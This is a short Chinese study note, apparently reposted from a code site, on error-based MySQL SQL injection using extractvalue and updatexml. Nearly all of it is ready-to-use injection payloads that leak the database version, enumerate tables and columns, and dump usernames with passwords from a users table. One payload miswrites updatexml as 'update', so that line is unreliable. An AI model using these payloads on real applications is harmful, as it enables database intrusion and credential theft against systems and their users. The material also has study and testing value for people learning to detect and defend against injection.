SQL注入筆記-updatexml與extractvalue


0x1介紹
MySQL 5.1.5版本中添加了對XML文檔進行查詢和修改的函數

EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);

兩個函數的返回長度有限,均為32個字符長度
0x2注入
Payload:

or extractvalue(1, concat(0x7e, version())) or ''
or update(1, concat(0x7e, version()), 1) or ''

0x3提取數據:
爆表名:
or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''
爆字段名:
or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''
爆數據:
or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''
updatexml的注入方式也是一樣的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM